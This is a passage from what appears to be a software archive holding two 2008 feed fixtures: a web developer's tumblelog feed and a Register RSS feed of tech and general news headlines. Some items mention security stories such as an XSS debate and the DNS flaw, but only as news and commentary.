http://nateklaiber.com/tumblelog/2008/7/3/fighting-the-traffic-race Thu Jul 03 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/3/fighting-the-traffic-race Google and Yahoo peek inside flash with help from Adobe http://feeds.feedburner.com/~r/nateklaiber/~3/324045516/google-and-yahoo-peek-inside-flash-with-help-from-adobe <p>"[...] Adobe has been working to make Flash more index-able by search engines. Google has recently rolled out better code for Flash, e.g. you’re now more likely to see useful snippets on Flash pages in Google’s search results." (<a href="http://www.mattcutts.com/blog/google-gets-better-at-flash-with-adobes-help/">via</a>).</p> <p>While I think this is a good step, I think there are many other aspects to be considered with Flash. Search engines being able to see inside Flash still doesn't solve browser related issues, nor does it index contextually as your page with actual HTML markup would. Content areas inside of flash have no organization like a raw HTML page. How will search engines index keywords as more important than others? These are big factors to SEO performance and it will be interesting to see how they are handled (maybe this is already in the works?).</p> <p>Here is <a href="http://www.google.com/search?hl=en&as_q=&as_epq=&as_oq=&as_eq=&num=10&lr=&as_filetype=swf&ft=i&as_sitesearch=&as_qdr=all&as_rights=&as_occt=any&cr=&as_nlo=&as_nhi=&safe=images">an example of results in Google</a>, appropriately marked as <em>FLASH</em>. However, browsing through a few random pages of those results shows that the text that they see inside of the flash file looks like gibberish. There is no structure.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/324045516" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/1/google-and-yahoo-peek-inside-flash-with-help-from-adobe Tue Jul 01 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/1/google-and-yahoo-peek-inside-flash-with-help-from-adobe Revyver refreshes http://feeds.feedburner.com/~r/nateklaiber/~3/324065710/revyver-refreshes <a href="http://revyver.com/" title="Revyver">These</a> <a href="http://labs.revyver.com/" title="Revyver Labs">sites</a> are simply beautiful. Great work Bryan!<img src="http://feeds.feedburner.com/~r/nateklaiber/~4/324065710" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/1/revyver-refreshes Tue Jul 01 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/1/revyver-refreshes My interview on Godbit.com http://feeds.feedburner.com/~r/nateklaiber/~3/322915046/my-interview-on-godbitcom I recently had a chance to answer a few questions for <a href="http://www.sonspring.com">Nathan Smith</a> of <a href="http://www.godbit.com">Godbit</a>, and he has <a href="http://godbit.com/article/nate-klaiber">posted the interview</a>. Thanks for your patience, Nathan.<img src="http://feeds.feedburner.com/~r/nateklaiber/~4/322915046" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/6/29/my-interview-on-godbitcom Sun Jun 29 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/6/29/my-interview-on-godbitcom The employable web designer http://feeds.feedburner.com/~r/nateklaiber/~3/320732653/the-employable-web-designer <em>"A Web designer who cannot craft quality, functional Web pages is a liability and unprepared for the profession."</em> (<a href="http://www.andyrutledge.com/the-employable-web-designer.php">via</a>). Great article by Andy Rutledge packed with great advice to the aspiring web designer. This is not just from a <em>making things pretty</em> perspective, he touches all bases from design, business and marketing. While sounding harsh in some areas, I think he hits the nail on the head.<img src="http://feeds.feedburner.com/~r/nateklaiber/~4/320732653" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/6/26/the-employable-web-designer Thu Jun 26 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/6/26/the-employable-web-designer XSS security flaw in Basecamp http://feeds.feedburner.com/~r/nateklaiber/~3/320732654/xss-security-flaw-in-basecamp <blockquote><p>"Basecamp intentionally allows HTML (and JavaScript) because many of our users find great value in being able to use that. We’re full aware that this allows for XSS attacks, but Basecamp is based on the notion of trusted parties. You should only allow people into the system that you believe won’t hack your system (just as you should only invite people into your office that you don’t believe will steal from you).</p> <p>If this was a public system, it would definitely be different. You can’t have a public forum today without carefully dealing with XSS issues."</p></blockquote> <p>This is a <a href="http://forum.37signals.com/basecamp/forums/5/topics/3155">response from Sarah Hatter in response to the discovery of an <abbr title="Cross Site Scripting">XSS</a> vulnerability in Basecamp</a>. I like her response, in conjunction with DHH who states:</p> <blockquote><p>"If your friend becomes a foe, you can revoke their account and change your login credentials. Just like you would simply not let them into your office.</p> <p>In the 3+ years we’ve operated Basecamp, we’ve never had a single such case occur, though. So it doesn’t seem like it’s a big problem. And I know many of our customers would scream murder if we removed the option to use HTML in their messages, as they’ve become accustomed to over the past 3+ years."</p></blockquote> <p>This is part of their <em>Getting Real</em> approach to things, and, while I am normally strict when it comes to security aspects, this makes perfect sense.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/320732654" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/6/26/xss-security-flaw-in-basecamp Thu Jun 26 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/6/26/xss-security-flaw-in-basecamp Removing Microformats from bbc.co.uk/programmes http://feeds.feedburner.com/~r/nateklaiber/~3/320732655/removing-microformats-from-bbccoukprogrammes "[...] Until these issues are resolved the BBC semantic markup standards have been updated to prevent the use of non-human-readable text in abbreviations." (<a href="http://www.bbc.co.uk/blogs/radiolabs/2008/06/removing_microformats_from_bbc.shtml">via</a>)<img src="http://feeds.feedburner.com/~r/nateklaiber/~4/320732655" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/6/23/removing-microformats-from-bbccoukprogrammes Mon Jun 23 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/6/23/removing-microformats-from-bbccoukprogrammes Jonathan Snook's spam prevention ported to Rails http://feeds.feedburner.com/~r/nateklaiber/~3/320732656/jonathan-snooks-spam-prevention-ported-to-rails <p>Jonathan Snook recently released his <a href="http://snook.ca/archives/cakephp/snogs/">blog plugin, appropriately called <em>Snogs</em></a>. He did a great job working with some great spam prevention techniques and it has been <a href="http://www.workingwithrails.com/railsplugin/7970-acts-as-snook">ported as a Rails Plugin</a>. Thanks to both <a href="http://snook.ca/jonathan/" rel="colleague">Jonathan</a> and <a href="http://luckysneaks.com/blog" rel="colleague">Russell</a> for the nice work.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/320732656" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/6/19/jonathan-snooks-spam-prevention-ported-to-rails Thu Jun 19 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/6/19/jonathan-snooks-spam-prevention-ported-to-rails Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.theregister.co.uk-tonys-slashdot.rdf0000664000175000017500000010676712653701626030664 0ustar janjan The Registerhttp://www.theregister.co.uk/Biting the hand that feeds ITCopyright 2008, Situation PublishingThe Register8831http://www.theregister.co.uk/Design/graphics/Reg_default/The_Register_RSS.pnghttp://www.theregister.co.uk/en-GBwebmaster@theregister.co.uk Tue, 22 Jul 2008 15:16:50 GMT 120 tag:theregister.co.uk,2005:story/2008/07/22/bale_arrested/Batman cuffed over alleged assaulthttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/bale_arrested/<h4>Christian Bale in custody following hotel incident</h4> <p>Christian Bale was arrested earlier today over an alleged assault on two family members in his suite at London's Dorchester Hotel on Sunday, the BBC reports.…</p>Tue, 22 Jul 2008 15:04:42 GMT tag:theregister.co.uk,2005:story/2008/07/22/pwnie_awards/Pwnie Awards celebrate best and worst of securityhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/pwnie_awards/<h4>Showcasing the maddest skillz</h4> <p>Organisers of the security world's Oscars, the Pwnie Awards, have announced the nominees for the second annual awards.…</p>Tue, 22 Jul 2008 14:57:29 GMT tag:theregister.co.uk,2005:story/2008/07/22/bskyb_universal_deal/Sky preps broadband music downloads with Universalhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/bskyb_universal_deal/<h4>Is it too little, too late?</h4> <p>Sky is launching a new music retail company in partnership with the world's biggest record company, Universal.…</p>Tue, 22 Jul 2008 14:50:11 GMT tag:theregister.co.uk,2005:story/2008/07/22/symbian_independence/New Symbian launches mobile free-for-allhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/symbian_independence/<h4>Cleans room, cleans house, cleans culture</h4> <p><strong>OSCON</strong> The Symbian Foundation is gagging to gain acceptance as a free and neutral mobile alternative to Windows, Linux and Apple.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567894?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567894?" border="0" alt=""></a> Tue, 22 Jul 2008 13:48:52 GMT tag:theregister.co.uk,2005:story/2008/07/22/tesco_condom_cockup/Tesco causes couple condom catastrophehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/tesco_condom_cockup/<h4>Johnny? We're sorry</h4> <p>The pitfalls of online shopping at the Evil Empire were revealed in their full horror to a monogamous South Yorkshire couple, who found 12 Mates condoms added to their Tesco.com shopping list.…</p>Tue, 22 Jul 2008 13:13:20 GMT tag:theregister.co.uk,2005:story/2008/07/22/pac_mod_criticism/MoD budget fiddles under firehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/pac_mod_criticism/<h4>Moving budgets not the same as saving money</h4> <p>The Public Accounts Committee has accused the Ministry of Defence of a "culture of optimism" and of creative accountancy to make it look like it's saving money when often it's not.…</p>Tue, 22 Jul 2008 12:25:07 GMT tag:theregister.co.uk,2005:story/2008/07/22/satnav_blunder/Sat nav blunder places The Rock in Skegnesshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/satnav_blunder/<h4>But which one has more apes?</h4> <p>In an epic, multinational sat nav cock-up, a Syrian lorry driver aiming for Gibraltar left Turkey and ended up in Skegness.…</p>Tue, 22 Jul 2008 12:24:31 GMT tag:theregister.co.uk,2005:story/2008/07/22/review_asus_p750_windows_smartphone/Asus P750 Windows Mobile smartphonehttp://go.theregister.com/feed/www.reghardware.co.uk/2008/07/22/review_asus_p750_windows_smartphone/<h4>Want a workhorse? Look no further...</h4> <p><strong>Review</strong> Function over form is the name of the game with Asus' P750. No clever styling, no flash graphic user interface, just robust design, a reasonable specification and decent value for money.…</p>Tue, 22 Jul 2008 12:09:52 GMT tag:theregister.co.uk,2005:story/2008/07/22/morgan_lifecar_hydrogen_displayed/Morgan shows 'light &amp; slippery' fuel-cell car concepthttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/morgan_lifecar_hydrogen_displayed/<h4>Wood, leather and hydrogen - a firey combo?</h4> <p>Here at the <em>Reg</em> we aren't motoring hacks, we're technology hacks. So to us, most of the cars here at the British Motor Show are a bit boring. Internal-combustion engine? Come on. Battery car? <a href="http://www.theregister.co.uk/2008/07/22/lightning_fast_charge_supercar/" target="_blank">Needs to be special</a>. Hydrogen fuel cell? Even <a href="http://www.theregister.co.uk/2008/06/16/honda_fcx_production_spinal_tap_guy_buy/" target="_blank">Nigel Tufnel has one</a> (shared with his less famous wife, Jamie Lee Curtis). Anyway, fuel-cell cars are always battery hybrids.…</p>Tue, 22 Jul 2008 12:00:23 GMT tag:theregister.co.uk,2005:story/2008/07/22/securesuite_ecommerce_glitch/RSA domain glitch derails UK online retailershttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/securesuite_ecommerce_glitch/<h4>Unverified by Visa</h4> <p>RSA has apologised for a domain name registration glitch, which left clients of its securesuite.co.uk payment processing service unable to process payment as normal last Thursday.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567894?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567894?" border="0" alt=""></a> Tue, 22 Jul 2008 11:54:04 GMT tag:theregister.co.uk,2005:story/2008/07/22/knit_one_heil_one/Who do you think you are, knitting Mr Hitler?http://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/knit_one_heil_one/<h4>Crocheted Fuhrer bothers woolly thinkers</h4> <p>There's no easy way to lead into this so we'll just come right out with it - according to <em>The Sun</em> one can now obtain knitting patterns to create one's very own cuddly Hitler.…</p>Tue, 22 Jul 2008 11:45:06 GMT tag:theregister.co.uk,2005:story/2008/07/22/419_menaces/419ers crank up the menaceshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/419_menaces/<h4>'Your friend has paid us to kill you...'</h4> <p>You know how it is - things are a bit quiet in the internet cafes of Lagos, people have sussed MARIAM ABACHA doesn't really have $30,000,000 (THIRTY MILLION DOLLARS) in gold bullion looted from Saddam Hussein's personal vault, and so it looks like it's time to up the email scam ante.…</p>Tue, 22 Jul 2008 11:41:04 GMT tag:theregister.co.uk,2005:story/2008/07/22/lenovo_shares_dive_ibm_sale/Lenovo stock falls as IBM retreatshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/lenovo_shares_dive_ibm_sale/<h4>Falling market share</h4> <p>Lenovo saw shares fall more than five per cent today following a sale of the PC maker's shares.…</p>Tue, 22 Jul 2008 11:14:19 GMT tag:theregister.co.uk,2005:story/2008/07/22/lunar_science_conference_08_part_2/NASA: The Moon is not enoughhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/lunar_science_conference_08_part_2/<h4>Scientists argue for a return to the lunar surface</h4> <p>NASA and its international aeronautical cohorts have some serious explaining to do before they start rocketing folks to the Moon again.…</p>Tue, 22 Jul 2008 11:02:03 GMT tag:theregister.co.uk,2005:story/2008/07/22/travellers_ten_tech_toys/Ten Tech Toys for Travellershttp://go.theregister.com/feed/www.reghardware.co.uk/2008/07/22/travellers_ten_tech_toys/<h4>Handy gadgets for great outdoors</h4> <p>It may be hard to believe what the Met Office tells us, that we’re about to get an entire month’s rainfall in a single day, but the summer holidays are well and truly upon us. So it’s time to start packing the bags and stocking up on the latest tech toys that you can take on holiday with you.…</p>Tue, 22 Jul 2008 10:43:12 GMT tag:theregister.co.uk,2005:story/2008/07/22/pc_vendor_pushes_hackintosh/Vendor touts PC's Mac OS X compatibilityhttp://go.theregister.com/feed/www.reghardware.co.uk/2008/07/22/pc_vendor_pushes_hackintosh/<h4>But won't sell it with Apple's OS.</h4> <p>Apple Legal, we laugh in your face! Brassy computer company Open Tech is cocking just such snook Jobs-wards, though we note it's not brave enough to publish an address on its website...…</p>Tue, 22 Jul 2008 10:20:27 GMT tag:theregister.co.uk,2005:story/2008/07/22/lightning_fast_charge_supercar/Blighty's electro-supercar 2.0 uncloaked todayhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/lightning_fast_charge_supercar/<h4>Fast-charge Lightning to bitchslap Tesla?</h4> <p><strong>Updated</strong> Here at the British Motor Show in London, there are lots and lots of cars to see. Quite a few of them have electric or part-electric power trains. A few of these use or plan to use advanced battery technologies such as lithium-ion. Only one has moved on further still, to a technology which promises genuinely usable electric cars, able to do pretty much everything an internal-combustion vehicle can.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567893?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567893?" border="0" alt=""></a> Tue, 22 Jul 2008 10:19:56 GMT tag:theregister.co.uk,2005:story/2008/07/22/tread_irelevantly/The <cite>Guardian's</cite> excellent Web 2.0 blog-uphttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/tread_irelevantly/<h4>If we build it, they'll shrug</h4> <p><strong>Comment</strong> Late last month <cite>The Guardian</cite> quietly put to sleep its exercise in fighting climate change via the power of blogs, Tread Lightly. Nine months of weekly personal CO<small><sub>2</sub></small> reduction pledges by <cite>Guardian</cite> readers had shown, Carolyn Fry <a href="http://www.guardian.co.uk/environment/2008/jun/20/pledges.ethicalliving" target="_blank">wrote bravely,</a> "that even relatively small weekly carbon savings can add up to significant amounts if enough people commit themselves to the task in hand."…</p>Tue, 22 Jul 2008 10:02:03 GMT tag:theregister.co.uk,2005:story/2008/07/22/security_regcast_200807/Watching the security landscapehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/security_regcast_200807/<h4>Stay safe with Vulture Vision</h4> <p><strong>RegCast</strong> It's a proud day here at <em>El Reg</em> - behold our first live video webcast, now snugly fitted into the archives and available for your delectation. We took an unflinching look into the evolving security landscape, and we'd like to invite you to take a good hard stare too.…</p>Tue, 22 Jul 2008 09:52:02 GMT tag:theregister.co.uk,2005:story/2008/07/22/youtube_divorce/Divorce for shouty YouTube wifehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/youtube_divorce/<h4>Belligerent blonde Broadway banshee blasted by beak</h4> <p>Broadway mogul Philip Smith has been granted a divorce from the actress whose dull video rants inexplicably clocked up over 3m hits on YouTube.…</p>Tue, 22 Jul 2008 09:50:20 GMT tag:theregister.co.uk,2005:story/2008/07/22/sandisk_ssd_vista_beef/If your SSD sucks, blame Vista, says SSD vendorhttp://go.theregister.com/feed/www.reghardware.co.uk/2008/07/22/sandisk_ssd_vista_beef/<h4>SanDisk pledges next-gen Flash disks will be better</h4> <p>It's Windows Vista's fault that solid-state storage isn't performing as well as its proponents predicted. So said SanDisk CEO Eli Harari, but at least he didn't go as far as saying it's Microsoft's problem to fix.…</p>Tue, 22 Jul 2008 09:36:18 GMT tag:theregister.co.uk,2005:story/2008/07/22/police_information_ruling/Police told: Delete old criminal recordshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/police_information_ruling/<h4>Dump innocents' DNA while you're at it</h4> <p>The Information Tribunal has told five police forces to remove old, minor criminal records from their databases.…</p>Tue, 22 Jul 2008 09:20:09 GMT tag:theregister.co.uk,2005:story/2008/07/22/password_protected_openess/Home Office classes openness review a secrethttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/password_protected_openess/<h4>Silly Season opens here</h4> <p>It may be a little early for the silly season, but if last week’s antics by the Home Office and the <cite>Daily Mail</cite> are anything to go by, it is already upon us.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567894?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567894?" border="0" alt=""></a> Tue, 22 Jul 2008 08:31:22 GMT tag:theregister.co.uk,2005:story/2008/07/22/vodafone_interims_spain/Vodafone shares tumble on interimshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/vodafone_interims_spain/<h4>Economic weakness</h4> <p>Vodafone, the world's largest cellco, grew revenues to £9.1bn, up by nearly 20 per cent, or 1.7 per cent organic growth, in the three months ended 30 June 2008.…</p>Tue, 22 Jul 2008 08:01:19 GMT tag:theregister.co.uk,2005:story/2008/07/22/job_survey_goldman/Vultures circle over IT jobshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/job_survey_goldman/<h4>Large suppliers make hay from greater pricing pressure</h4> <p>Big IT firms are likely to do better from the credit crunch than smaller suppliers, as greater economies of scale allow them to offer cheaper prices.…</p>Tue, 22 Jul 2008 07:02:06 GMT tag:theregister.co.uk,2005:story/2008/07/22/buddi_snooping_kids/Operation Sprogwatch: Keeping tabs on the kidshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/buddi_snooping_kids/<h4>No snoop for you, buddi?</h4> <p>It's every parent's dream - reliable and easy-accessed information on what your offspring are up to. Electronics systems such as <a href="http://cart.eyespymagusa.com/index.php?p=product&amp;id=48&amp;parent=3">Spyphone II 8210</a> actually allow you to dial into your child's mobile, and eavesdrop on their conversations. And now, there's the "buddi", which will track wherever the brats go, showing a GPS path every 30 seconds.…</p>Tue, 22 Jul 2008 07:02:06 GMT tag:theregister.co.uk,2005:story/2008/07/22/brocade_foundry_networks_acquisition/Brocade buys Foundry Networks for $3bnhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/brocade_foundry_networks_acquisition/<h4>Playing with the big boys now</h4> <p>Brocade is to acquire Foundry Networks for $3bn in cash and stock. The storage networking vendor has secured a $1.5bn debt facility from Bank of America and Morgan Stanley to grease the purchase.…</p>Tue, 22 Jul 2008 06:55:38 GMT tag:theregister.co.uk,2005:story/2008/07/22/apple_q2_earnings/Even without 3-Jesus Phone, Apple busts revenue recordshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/22/apple_q2_earnings/<h4>And Wall Street is peeved</h4> <p>During its last fiscal quarter, Apple shipped a record 2.49 million Macs, and even if you ignore a decent chunk of its Jesus Phone sales, it nabbed a record $7.46bn in revenues. But in typically coy fashion, the company says it has low expectations for the quarter to come.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567893?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567893?" border="0" alt=""></a> Tue, 22 Jul 2008 00:16:45 GMT tag:theregister.co.uk,2005:story/2008/07/21/registrars_cater_to_steroids_sellers/Registrars turn blind eye to sites selling illegal steroidshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/registrars_cater_to_steroids_sellers/<h4>Is anyone in charge around here?</h4> <p>Next time you see websites brazenly pushing anabolic steroids, thank GoDaddy, Dynadot and a half-dozen other US-based registrars, which allow them to operate even though they're illegal, claims a new report.…</p>Mon, 21 Jul 2008 23:36:23 GMT tag:theregister.co.uk,2005:story/2008/07/21/lunar_science_conference_08/Scientists ponder future Moon mission activitieshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/lunar_science_conference_08/<h4>One of these days, Alice...</h4> <p>A clever fellow once observed that the Moon is a harsh mistress. Humanity's subsequent jaunts up to the place indicated it was a pretty solid hypothesis. The Ritz-Carlton it is not.…</p>Mon, 21 Jul 2008 22:35:26 GMT tag:theregister.co.uk,2005:story/2008/07/21/court_bags_wardrobe_malfunction_fine/US court sides with Janet Jackson's breasthttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/court_bags_wardrobe_malfunction_fine/<h4>No fine for 'Nipplegate'</h4> <p>America's puritanical streak goes only so far. Today, a US appeals court vaporized the $550,000 fine the FCC famously slapped on CBS for showing the country a majority of Janet Jackson's right breast.…</p>Mon, 21 Jul 2008 21:12:32 GMT tag:theregister.co.uk,2005:story/2008/07/21/zemlin/Linux on mobiles will put the squeeze on MS, says Zemlinhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/zemlin/<h4>Manifest destiny again</h4> <p><strong>OSCON</strong> Once it was the desktop, now mobile phones and embedded devices represent the future of Linux, according to open source fans.…</p>Mon, 21 Jul 2008 19:44:40 GMT tag:theregister.co.uk,2005:story/2008/07/21/dns_flaw_speculation/Researcher's hypothesis may expose uber-secret DNS flawhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/dns_flaw_speculation/<h4>Responsible disclosure debate rages on</h4> <p>Two weeks ago, when security researcher Dan Kaminsky announced a devastating flaw in the internet's address lookup system, he took the unusual step of admonishing his peers not to publicly speculate on the specifics. The concern, he said, was that online discussions about how the vulnerability worked could teach black hat hackers how to exploit it before overlords of the domain name system had a chance to fix it.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567895?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567895?" border="0" alt=""></a> Mon, 21 Jul 2008 19:28:36 GMT tag:theregister.co.uk,2005:story/2008/07/21/intel_summer_price_slashing/Intel slashes Xeon, Core 2 Duo priceshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/intel_summer_price_slashing/<h4>Not to mention a Core 2 Quad</h4> <p>A week after <a href="http://www.theregister.co.uk/2008/07/15/intel_q2/">trumpeting</a> a healthy second quarter profit leap, Intel has slashed the prices of several server and desktop processors.…</p>Mon, 21 Jul 2008 18:58:46 GMT tag:theregister.co.uk,2005:story/2008/07/21/cherrypal_launches_cherrypal_with_cherrypalcloud_and_cherrypal_etc/CherryPal launches $249 mini PC into ad-backed cloudhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/cherrypal_launches_cherrypal_with_cherrypalcloud_and_cherrypal_etc/<h4>Buzzword chimera the size of a paperback</h4> <p>Start-up CherryPal is taking pre-orders today for its partly cloudy "desktop" that mashes web-hosted computing, going green, open source, and social networking into a 10 ounce box.…</p>Mon, 21 Jul 2008 17:07:49 GMT tag:theregister.co.uk,2005:story/2008/07/21/cold_boot_utilities/Researchers release 'cold boot' attack utilitieshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/cold_boot_utilities/<h4>A way around disk encryption</h4> <p>The security researcher who demonstrated the 'cold boot' attack has released the source code for the hack. The attack, first demonstrated in February, uses a set of utilities to lift crypto keys from memory even after a reboot.…</p>Mon, 21 Jul 2008 16:56:27 GMT tag:theregister.co.uk,2005:story/2008/07/21/monckton_aps/American physicists warned not to debate global warminghttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/monckton_aps/<h4>Climate row heats up</h4> <p>Bureaucrats at the American Physical Society (APS) have issued a curious warning to their members about an article in one of their own publications. Don't read this, they say - we don't agree with it. But what is it about the piece that is so terrible, that like Medusa, it could make men go blind?…</p>Mon, 21 Jul 2008 16:04:53 GMT tag:theregister.co.uk,2005:story/2008/07/21/georgia_presidential_site_ddos/DDoS attack floors Georgia prez websitehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/georgia_presidential_site_ddos/<h4>Black deeds on the Black Sea</h4> <p>A denial of service attack hit government websites in the former Soviet republic of Georgia over the weekend amid growing diplomatic tensions between the country and Russia.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567892?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567892?" border="0" alt=""></a> Mon, 21 Jul 2008 13:45:10 GMT tag:theregister.co.uk,2005:story/2008/07/21/electric_car_format_wars/Japan kicks off electric car format warhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/electric_car_format_wars/<h4>Prius-ray vs Dominant Volt Drive?</h4> <p>Japanese motor globocorps jockeying for position in the electric car market of tomorrow will unite to present a worldwide standard for automotive Li-ion batteries and related technologies, according to reports. The alliance will include Toyota, Nissan and Matsushita, but Honda - which appears to favour hydrogen fuel cells over all-battery vehicles - has not been named in connexion with the project.…</p>Mon, 21 Jul 2008 13:23:03 GMT tag:theregister.co.uk,2005:story/2008/07/21/ebay_counterfeit_summit/eBay breaks bread with luxury goods firmshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/ebay_counterfeit_summit/<h4>Counterfeit handbags at dawn</h4> <p>eBay is to pow-wow with luxury goods manufacturers which want the online tat bazaar to better police sales of fraudulent merchandise. The meeting, held in London on 28 July, brings together lawyers from eBay, along with representatives of luxury goods association the Walpole Group, which counts in its membership shoemaker Jimmy Choo.…</p>Mon, 21 Jul 2008 13:16:13 GMT tag:theregister.co.uk,2005:story/2008/07/21/yahoo_icahn_settlement/Yahoo! hands Icahn board seat, ends battlehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/yahoo_icahn_settlement/<h4>No! more! letters!</h4> <p><strong>Microhoo!</strong> Yahoo! and Carl Icahn have agreed to settle their differences and call off their proxy battle for control of the company.…</p>Mon, 21 Jul 2008 13:01:18 GMT tag:theregister.co.uk,2005:story/2008/07/21/atom_enters_service_as_server/Intel UMPC chip enters service as server CPUhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/atom_enters_service_as_server/<h4>Madness or genius?</h4> <p>UK hosting company Bytemark has seen the future of servers and it's... er... a processor designed for tiny laptops and desktops.…</p>Mon, 21 Jul 2008 12:32:19 GMT tag:theregister.co.uk,2005:story/2008/07/21/ibm_oracle_sap_sued/IBM, Oracle and SAP sued over server software patentshttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/ibm_oracle_sap_sued/<h4>Implicit Networks demands royalties</h4> <p>Seattle firm Implicit Networks is suing Adobe, IBM, Oracle and SAP for patent infringements.…</p><a href="http://ad.uk.doubleclick.net/jump/reg.rss.4159/main;sz=336x280;ord=1234567895?" target="_blank"><img src="http://ad.uk.doubleclick.net/ad/reg.rss.4159/main;sz=336x280;ord=1234567895?" border="0" alt=""></a> Mon, 21 Jul 2008 12:19:25 GMT tag:theregister.co.uk,2005:story/2008/07/21/makemake_plutoid/Third plutoid christened 'Makemake'http://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/makemake_plutoid/<h4>Polynesian fertility god joins league of dwarf planets</h4> <p>The International Astronomical Union (IAU) has <a href="http://www.iau.org/public_press/news/release/iau0806/" target="_blank">declared</a> that the trans-Neptunian dwarf planet formerly dubbed 2005 FY9, or "Easterbunny", will henceforth be known as the equally silly "Makemake".…</p>Mon, 21 Jul 2008 12:09:02 GMT tag:theregister.co.uk,2005:story/2008/07/21/lanarkshire_wind_farm/Scottish gov OKs Europe's biggest onshore wind farmhttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/lanarkshire_wind_farm/<h4>Windbaggery</h4> <p>Scottish ministers today greenlighted <a href="http://www.scotland.gov.uk/News/Releases/2008/07/21110710">Europe's largest windfarm</a>.…</p>Mon, 21 Jul 2008 12:07:50 GMT tag:theregister.co.uk,2005:story/2008/07/21/nasa_htv_chinwag/NASA eyes Japan's ISS supply vehiclehttp://go.theregister.com/feed/www.theregister.co.uk/2008/07/21/nasa_htv_chinwag/<h4>'Unofficial negotiations' to buy</h4> <p>NASA is reportedly negotiating to buy the Japan Aerospace Exploration Agency (JAXA) <a href="http://iss.jaxa.jp/en/htv/" target="_blank">H-II Transfer Vehicle</a> (HTV) as a means of ensuring it can fulfil its obligation to supply the International Space Station following retirement of the space shuttle fleet in 2010.…</p>Mon, 21 Jul 2008 11:58:08 GMT tag:theregister.co.uk,2005:story/2008/07/21/ofcom_global_warming_swindle_adjudication/Climate Swindle film: bruised egos, but no 